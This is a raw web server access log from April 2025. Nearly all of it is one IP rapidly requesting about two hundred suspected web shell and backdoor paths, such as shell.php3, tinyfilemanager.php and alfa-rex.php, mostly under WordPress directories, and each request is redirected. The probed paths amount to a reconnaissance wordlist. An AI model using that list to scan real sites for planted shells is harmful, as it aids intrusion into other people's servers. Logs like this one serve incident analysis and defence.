"-" 52.168.149.57 - - [18/Apr/2025:05:02:46 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:46 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:47 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:47 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:47 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:47 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:48 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:48 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:48 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:49 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:49 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:49 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:49 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:50 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:50 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:50 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:51 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:51 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:51 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:52 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:52 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:52 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:53 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:53 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:53 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:53 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:54 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:54 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:54 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:55 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:55 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:55 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:56 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:56 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:56 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:56 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:57 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:57 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:57 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:58 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:58 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:58 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:59 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:59 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:02:59 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:00 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:00 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:00 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:01 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:01 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:02 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:02 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:03 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:03 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:03 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:03 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:04 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:04 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:04 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:04 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:05 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:05 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:06 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:06 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:06 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:07 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:07 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:07 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:08 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:08 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:08 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:09 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:09 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:09 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:10 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:10 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:10 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:11 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:11 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:11 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:12 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:12 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:12 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:12 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:13 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:13 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:13 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:14 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:14 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:14 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:15 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:15 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:15 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:16 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:16 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:16 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:16 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:17 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:17 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:17 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:18 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:18 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:18 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:18 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:19 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:19 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:19 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:19 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:20 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:20 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:20 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:20 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:21 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:21 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:21 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:22 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:22 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:22 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:23 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:23 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:23 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:24 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:24 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:24 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:24 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:25 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:25 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:25 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:25 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:26 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:26 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:26 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:26 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:27 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:27 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:27 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:27 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:28 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:28 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:28 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:28 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:29 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:29 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:29 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:30 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:30 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:30 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:31 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:31 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:31 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:31 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:32 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:32 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:32 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:32 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:33 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:33 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:33 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:33 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:34 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:34 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:34 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:34 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:35 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:35 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:35 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:35 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:36 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:36 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:36 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:36 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:37 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:37 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:37 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:37 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:38 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:38 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:38 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:38 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:39 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:39 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:39 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:40 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:40 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:40 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:41 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:41 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:41 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:42 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:42 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:42 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:43 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:43 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:44 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:44 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:44 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:45 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:46 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:47 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:47 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:47 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:47 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:48 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:48 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:48 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:49 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:49 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:49 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:50 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:03:50 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 110.166.71.39 - - [18/Apr/2025:05:13:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.202.170.156 - - [18/Apr/2025:05:30:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15" 85.208.98.18 - - [18/Apr/2025:05:53:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)" 134.199.153.238 - - [18/Apr/2025:06:21:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4859.172 Safari/537.36" 194.38.23.16 - - [18/Apr/2025:06:27:46 -0400] "GET /sites/all/modules/elfinder/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 